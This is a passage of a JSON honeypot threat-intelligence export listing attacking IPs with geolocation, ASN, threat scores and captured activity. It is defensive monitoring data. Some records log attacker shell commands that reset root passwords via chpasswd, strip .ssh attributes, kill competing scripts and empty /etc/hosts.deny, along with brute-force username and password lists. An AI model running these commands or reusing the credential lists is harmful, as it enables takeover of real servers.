        "first_seen_30d": "2026-05-10T09:24:32.242000+00:00",
        "last_seen_30d": "2026-05-10T09:26:13.665000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "143.244.178.70": {
      "attack_count": 2,
      "first_seen": "2026-05-29T10:26:54.695Z",
      "last_seen": "2026-05-29T10:26:54.696Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T10:26:54.695000+00:00",
        "last_seen_30d": "2026-05-29T10:28:03.136000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "151.228.210.125": {
      "attack_count": 2,
      "first_seen": "2026-05-03T19:15:54.337Z",
      "last_seen": "2026-05-03T19:15:55.749Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Wigan",
      "asn": 5607,
      "as_org": "Sky UK Limited",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:28:07.313000+00:00",
        "last_seen_30d": "2026-05-04T08:36:57.098000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "153.205.134.58": {
      "attack_count": 2,
      "first_seen": "2026-05-14T19:05:10.410Z",
      "last_seen": "2026-05-14T19:05:22.633Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Yokohama",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T19:05:10.410000+00:00",
        "last_seen_30d": "2026-05-14T19:06:25.436000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.10.161.90": {
      "attack_count": 2,
      "first_seen": "2026-05-10T06:44:49.424Z",
      "last_seen": "2026-05-10T06:44:50.008Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Chapec\u00f3",
      "asn": 53238,
      "as_org": "Chapeco Tecnologia em Telecomunicacoes Ltda.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T06:44:49.424000+00:00",
        "last_seen_30d": "2026-05-10T06:45:56.200000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.47.202.48": {
      "attack_count": 2,
      "first_seen": "2026-05-04T01:17:23.108Z",
      "last_seen": "2026-05-04T01:17:35.870Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ponte Nova",
      "asn": 262470,
      "as_org": "Pontenet Teleinformatica Ltda.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T01:17:23.108000+00:00",
        "last_seen_30d": "2026-05-04T01:18:39.089000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.245.101.117": {
      "attack_count": 2,
      "first_seen": "2026-05-23T12:27:44.946Z",
      "last_seen": "2026-05-23T12:28:14.670Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Kunming",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:27:44.946000+00:00",
        "last_seen_30d": "2026-05-23T12:29:23.569000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.32.231.136": {
      "attack_count": 2,
      "first_seen": "2026-05-22T19:07:47.885Z",
      "last_seen": "2026-05-22T19:08:14.810Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:07:47.885000+00:00",
        "last_seen_30d": "2026-05-22T19:09:17.279000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.159.211.51": {
      "attack_count": 2,
      "first_seen": "2026-05-25T18:50:45.174Z",
      "last_seen": "2026-05-25T18:50:59.603Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T18:50:45.174000+00:00",
        "last_seen_30d": "2026-05-25T18:53:03.042000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.123.105.31": {
      "attack_count": 2,
      "first_seen": "2026-05-14T03:05:14.398Z",
      "last_seen": "2026-05-14T03:05:27.659Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Berazategui",
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T03:05:14.398000+00:00",
        "last_seen_30d": "2026-05-14T03:06:28.274000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.143.186.50": {
      "attack_count": 2,
      "first_seen": "2026-05-08T10:26:43.375Z",
      "last_seen": "2026-05-08T10:26:56.005Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Guatemala",
      "country_code": "GT",
      "city": "Guatemala City",
      "asn": 14754,
      "as_org": "TELECOMUNICACIONES DE GUATEMALA, SOCIEDAD ANONIMA",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:26:43.375000+00:00",
        "last_seen_30d": "2026-05-08T10:27:57.124000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.205.145.152": {
      "attack_count": 2,
      "first_seen": "2026-05-03T14:20:57.526Z",
      "last_seen": "2026-05-03T14:21:10.588Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T14:20:57.526000+00:00",
        "last_seen_30d": "2026-05-03T14:22:15.867000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "194.127.108.194": {
      "attack_count": 2,
      "first_seen": "2026-05-05T18:12:32.107Z",
      "last_seen": "2026-05-05T18:12:45.282Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 208324,
      "as_org": "Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T18:12:32.107000+00:00",
        "last_seen_30d": "2026-05-05T18:13:53.972000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.219.61.7": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:14:04.995Z",
      "last_seen": "2026-05-23T02:14:18.207Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Recife",
      "asn": 270804,
      "as_org": "R DE OLIVEIRA COMUNICACOES",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:14:04.995000+00:00",
        "last_seen_30d": "2026-05-23T02:15:27.194000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.55.245.145": {
      "attack_count": 2,
      "first_seen": "2026-05-23T16:17:02.493Z",
      "last_seen": "2026-05-23T16:19:02.495Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 27988,
      "as_org": "Servicios y Telecomunicaciones S.A.",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T01:25:26+00:00",
        "last_seen_30d": "2026-05-23T16:20:41.617000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "201.238.34.109": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:40:24.161Z",
      "last_seen": "2026-05-22T22:40:36.913Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:40:24.161000+00:00",
        "last_seen_30d": "2026-05-22T22:41:42.019000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.98": {
      "attack_count": 2,
      "first_seen": "2026-05-16T03:44:43.809Z",
      "last_seen": "2026-05-16T03:45:14.808Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 28,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-04T19:03:28.533000+00:00",
        "last_seen_30d": "2026-05-31T01:48:52.807000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 24,
        "ConPot": 2,
        "Cowrie": 2,
        "Dionaea": 1,
        "ElasticPot": 1
      }
    },
    "36.139.195.181": {
      "attack_count": 2,
      "first_seen": "2026-05-17T11:12:50.289Z",
      "last_seen": "2026-05-17T11:14:10.958Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T11:12:50.289000+00:00",
        "last_seen_30d": "2026-05-17T11:15:14.894000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "47.96.65.95": {
      "attack_count": 2,
      "first_seen": "2026-05-08T17:44:00.232Z",
      "last_seen": "2026-05-08T17:44:00.233Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:44:00.232000+00:00",
        "last_seen_30d": "2026-05-08T17:45:07.412000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "70.25.52.90": {
      "attack_count": 2,
      "first_seen": "2026-05-09T05:08:35.982Z",
      "last_seen": "2026-05-09T05:08:49.450Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Markham",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T05:08:35.982000+00:00",
        "last_seen_30d": "2026-05-09T05:09:51.186000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "192.109.200.78": {
      "attack_count": 10328,
      "first_seen": "2026-05-07T02:22:09.031Z",
      "last_seen": "2026-05-21T08:27:18.520Z",
      "sessions": 2058,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "minecraft",
        "postgres",
        "steam",
        "oracle",
        "frappe",
        "git",
        "hadoop",
        "app",
        "dmdba",
        "es",
        "ftpuser",
        "guest",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "password",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "123456789",
        "abc123",
        "Aa123456",
        "111",
        "1111",
        "123123",
        "admin",
        "admin123",
        "qwe123",
        "test123",
        "******",
        "111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 14593,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T02:21:56.778000+00:00",
        "last_seen_30d": "2026-05-21T08:28:24.625000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10328,
        "Suricata": 4265
      }
    },
    "207.180.229.239": {
      "attack_count": 778,
      "first_seen": "2026-05-19T22:05:29.792Z",
      "last_seen": "2026-05-25T07:30:45.511Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "cloud",
        "ftpuser",
        "actions",
        "ahmed",
        "andong",
        "bit",
        "claude",
        "curl",
        "devops",
        "dockeradmin",
        "ehsan",
        "elizabeth",
        "guest2",
        "gustavo",
        "hdoop",
        "jane",
        "joshua"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "!qa@ws3ed",
        "000",
        "123321123321",
        "1234",
        "12344321",
        "123qwe321",
        "123qweasd",
        "1qaz@WSX!QAZ",
        "3141592653",
        "Aa1qingsong.",
        "Avatar",
        "Ljy123456",
        "P@ssw0rd123456789",
        "Pambazuka08",
        "Pass123456",
        "PassWord"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Wangsu@2017\\nEESkswetO9yr\\nEESkswetO9yr\\n\"|passwd",
        "echo \"aa123456..\\nIZQeBqW46jKe\\nIZQeBqW46jKe\\n\"|passwd",
        "echo \"root:MjOh7pGBtgAi\"|chpasswd|bash",
        "echo \"root:dV7RAStPKup6\"|chpasswd|bash",
        "echo \"root:eSLCsTLH3tam\"|chpasswd|bash",
        "echo \"root:q598BPyZ47HX\"|chpasswd|bash",
        "echo -e \"Wangsu@2017\\nEESkswetO9yr\\nEESkswetO9yr\"|passwd|bash",
        "echo -e \"aa123456..\\nIZQeBqW46jKe\\nIZQeBqW46jKe\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 38.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.9,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 977,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:05:29.792000+00:00",
        "last_seen_30d": "2026-05-25T07:31:48.807000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 778,
        "Suricata": 199
      }
    },
    "80.94.92.171": {
      "attack_count": 765,
      "first_seen": "2026-05-04T12:33:04.704Z",
      "last_seen": "2026-05-30T13:14:03.412Z",
      "sessions": 168,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1234",
        "sol",
        "ubuntu",
        "123"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 62.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1239,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:25:34.420000+00:00",
        "last_seen_30d": "2026-05-30T13:15:12.412000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 765,
        "Suricata": 474
      }
    },
    "119.28.114.76": {
      "attack_count": 551,
      "first_seen": "2026-05-16T15:36:20.789Z",
      "last_seen": "2026-05-17T12:17:05.440Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "es",
        "sangoma"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$5678",
        "!Q2w3e4r5t",
        "1230",
        "12345!",
        "123qaz!@#",
        "20192019",
        "Abc@111111",
        "Admin2018",
        "Cq123456",
        "FZAc8jnw.XdKgFZAc8jnw.XdKg",
        "Hy@123456",
        "Itsemoemo2025@Washere2025",
        "Passwort123",
        "QAZwsxedcrfv",
        "Ql123456",
        "Qwe123456.",
        "Qweqwe123",
        "a1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"postgres@123\\npgbM77qhbGre\\npgbM77qhbGre\\n\"|passwd",
        "echo \"root:Y0ZraZcHF2YI\"|chpasswd|bash",
        "echo \"root:kH5zXsRAZUZk\"|chpasswd|bash",
        "echo \"root:yKhqNMJYpFoB\"|chpasswd|bash",
        "echo \"root:z3dLRkNBX6hJ\"|chpasswd|bash",
        "echo -e \"postgres@123\\npgbM77qhbGre\\npgbM77qhbGre\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 667,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:36:20.789000+00:00",
        "last_seen_30d": "2026-05-17T12:18:14.005000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 551,
